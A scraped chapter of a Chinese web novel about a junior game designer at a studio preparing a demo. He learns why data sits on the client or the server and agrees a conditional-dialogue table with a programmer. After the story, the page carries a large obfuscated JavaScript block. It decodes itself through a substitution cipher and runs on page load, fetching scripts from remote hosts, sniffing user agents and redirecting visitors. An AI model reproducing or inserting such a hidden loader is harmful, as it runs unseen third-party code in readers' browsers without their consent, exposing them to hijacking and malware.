第44章 如何实现构想
章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。
快乐总是短暂的,虽然大家在假期间都玩的很尽兴,可是假期之后,生活毕竟还是要继续。
尤其是demo版的提交日期越来越近,只剩下半个月的时候。
最近这段时间,整个圣杯工作室都弥漫着一股浓浓的“大战临近”的紧张感。
抛开个人喜恶观感的影响,许主策对项目进度的掌控能力,让宅胖子由衷地敬佩:在多线程齐头并进的工作状态下,他总是能准确地捕捉到每一条分支路线的进展,并针对已经取得的成果和最新暴露出的问题,有的放矢地逐一给予调整。
每天下班前,策划部都要召开进度汇报会议,每个策划要将这一天来的工作成果,重点是他们跟进的程序和美术部分的工作情况,做出简单而清晰的概述。而许主策的主要任务,就是将这些进度记录下来,并比照他预定的规划,不断地做出细节上的调整,有些工作进展顺利,会指派给新的工作目标;有些工作进展缓慢,则会给予各种提点帮助,或者是索性将这部分工作暂停下来,延期到下一个版本再去实现。
比如说,demo版的规划中,要加入装备系统的相关内容,而装备系统设计中包括了装备的穿戴、卸下、鉴定、强化、淬炼、打孔、镶嵌等诸般功能,但是真正需要在demo版中实现的就只有两个:装备的穿戴和卸下。其他的扩展功能,全都被划入下一个甚至是下下个版本再去实现的范畴。
因此,虽然demo版规划中预定要完成的包括场景系统、Npc系统、任务系统、装备系统、道具系统、战斗系统、对白系统等很多项内容,可实质上并不需要将这些系统全部完成,而是只实现其中比较简单的一小部分,作为一个表示“啊,我们的游戏会有这些,这些和这些内容”的演示而已。
就在这种工作氛围下,公司里绝大部分研发人员(主要包括策划和程序)每天工作时长都在十二个小时以上。从每天早上九点来到公司,一直要忙到晚上九点之后,只有极少数人例外。
比如公司里唯一一位住在市区的苏菲,她可以像公司里的行政人员(邴经理、若樱等)一样过着早九晚五的生活。首先因为她住的远,不管是部门主管许主策还是上司曹系统,谁也不好要求她加班;其次与同为新入行策划的宅胖子不一样,她还没有接触到实质性的研发工作,只是从曹系统那儿分到了“好友”和“聊天”这么两个不算重要的系统,算是让她自己尝试着写着玩,按照刘可韦私下的估计——“这种纯新人写出来的系统文档,没有翻来覆去改个十遍八遍,基本没有去实现的价值。”。所以demo版的工作进展,可以说差不多与她毫无瓜葛。
苏菲近期的主要工作,就是参考下别的游戏的相关设计,然后闷头写自己的文档,再交给曹系统审阅,接着被曹系统拉去会议室开小灶,然后重复上述的步骤,以此类推周而复始。
据说这才是执行策划的正确成长路线,宅胖子那种上来就直接参与具体工作的,纯属于打开方式不对——这是刘可韦的原话。
于是,在提交了自己修改过的对白系统策划文档之后的某一次进度汇报会议上,打开方式不对的宅胖子听到许主策漫不经心地这样说。
“改过的对白系统我扫了一眼,没什么太大问题。龚主程手里的活儿明天上午差不多会结束,所以段杉杉你明天下午去找他谈一谈对白的事吧,关于你那个根据玩家个体的情况,显示不同对白的构思。”
看起来刘可韦说得一点都没错,虽然仙侠宝鉴是宅胖子设计并通过的第一个系统策划文档,可是因为其“不重要性”而被优先度无限推迟,倒是这个半路接手的对白系统,要成为宅胖子第一次与程序沟通的里程碑了。
“你丫就躲被窝里偷着笑去吧,才入行一个月出头就能和程序部门谈设计构想的实现了,还是和主管级别的谈。”下班后回宿舍的路上,刘可韦半是嫉妒半是祝贺地说道,“哥当年可是熬了好几个月才走到这一步的。”
“为啥是找客户端的龚主程而不是服务器端的黎主程呢?”宅胖子不解地问道,他还是不太能搞得清楚客户端和服务器端两者之间的功能划分。
“一般来说,重要的数据和计算之类的信息要放在放在服务器端,可以防止别人通过简单地修改客户端数据来作弊。”刘可韦不屑地瞥了宅胖子一眼,尽量用简明易懂的方式来阐述,“至于不会影响游戏进程的数据信息,放到客户端去可以有效地减少客户端与服务器端之间的通信压力,进而减轻服务器的通信负担。”
宅胖子怅然若失:“你的意思也就是说剧情对白什么的到底还是不重要对吧?”
“不是你理解的那个意思!”刘可韦哭笑不得地解释道,“谁吃饱了没事干会去修改游戏对白啊?又不是金钱、经验之类的敏感数据,就算真有人闲的没事干去改对白,对游戏对其他玩家也根本不能造成什么影响,放在客户端有啥不好?”
“喔。”宅胖子哼了一声,这才算是听明白了刘可韦的话,他是说对白系统没有被修改的风险,所以才会放在客户端。
回到宿舍以后,刘可韦照例缠着车光龙学韩语,宅胖子没好气地看着这两人,都一个多月了,竟然一个还很有毅力地去学,另外一个也还很有耐心地去教,都没什么三天打鱼两天晒网的臭毛病,连带他这个被迫的旁听生所积累的韩语词汇也越来越多了。
照这样发展下去,说不定这款游戏做出来,刘可韦已经能和韩国人日常交流,甚至宅胖子自己都能连蒙带比划地做一些简单的沟通。
第二天下午,饭后休息结束之后,宅胖子在刘可韦等人的打气鼓励之下,一个人拿着对话系统策划文档打印件向程序部走去。
龚主程他当然认识,在同一家公司里工作了一个多月,要是连隔壁部门的主管都还认不清,那简直应该去一头撞死。
不过,这毕竟是除了车光龙之外,宅胖子第一次与程序部门的人做正式交流——甚至连车光龙也不能算,他们私下里交流虽然挺多,但是在公事上还真没有过交集来着。所以宅胖子难免会有点心下忐忑,当他走进程序部的时候,一种“深入虎穴”的荒谬情绪不自禁地从心底涌出。
所幸龚主程是一个很温和的人,白净斯文的面庞透着洵洵儒雅的书卷味儿,看起来根本不像一个写代码的It男,反而像是个大学校园里的团委辅导员。
很谦逊地示意宅胖子在他身边坐下,很专注地倾听着宅胖子的讲述,过程中不带一点儿烟火味。
“我大致明白你的意思了。”龚主程微微点头,“想要根据不同的条件显示不同的文本信息,是吧?”
宅胖子想了想,确定了这个概述:“您说的对,是这样的。”
龚主程随手从桌旁抽过一张纸,掏出签字笔伏在桌面上开始龙飞凤舞地书写着。
“首先我们来设计一张新的配置表,专门处理你这个需求,它的名字就叫做……条件显示文本表好了,文件名是。”
宅胖子表示没有异议:“OK,没有问题,请继续。”
“其次,它的表头字段,需要如下内容:一是编号;二是判定条件类型;三是条件与对应显示文本用‘:’分隔,而多个条件之间用‘|’分隔。”龚主程唰唰唰地将自己想到的规则一一记录下来,抬头看看宅胖子,笑着问道,“就是这样,能理解吗?”
宅胖子举手挠挠后脑勺,有点不好意思地说:“您说的这些书写规则我能明白,不过实际上我怎么操作还是有点茫然。”
“没关系,我们来举一个实际例子好了。”龚主程莞尔一笑,“比如说,我们现在要添加第100条条件显示文本,根据不同的职业显示不同的信息。那么编号这一栏,你就填上‘100’;判定条件类型这一栏你就填上‘职业’;而最后那一栏你就这样写:‘人类男性:男人|妖灵女性:妖女’,这样就行了。然后在对白表里我们再约定一个标识符号……”
龚主程放下纸笔,操作键盘鼠标打开计算机里的某个文档,思索了一下继续说道:“嗯,现在中括号还没用上,我们就约定用中括号来标识条件显示文本表,你在对白表中需要调用条件显示文本的地方填上‘[100]’,实际在游戏中显示出来的就是根据玩家职业对应的文本信息,‘男人’或者是‘妖女’。这样说你能理解吗?”
宅胖子心悦诚服地点头。
“那就这样说定了,你每次更新条件显示文本表之后,都通知我一下,我会尽快在游戏里添加对应的显示规则,添加完后会反馈给你,你再到游戏里实际测试一遍就行了。”龚主程愉快地笑着问,“还有什么问题吗?”
“没有了,谢谢您,那就这样,我先告辞了。”宅胖子知趣地站起身来告别。
虽然是同一个公司出来的,这位龚主程给人的印象与许主策却截然不同,从始至终充满了如坐春风的轻松感。针对宅胖子的构想,第一时间就给出了完整而有条理的解决方案。
宅胖子还真没有想到,自己与程序部门的第一次工作沟通,竟然出乎预料的顺利。。
『加入书签,方便阅读』
!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();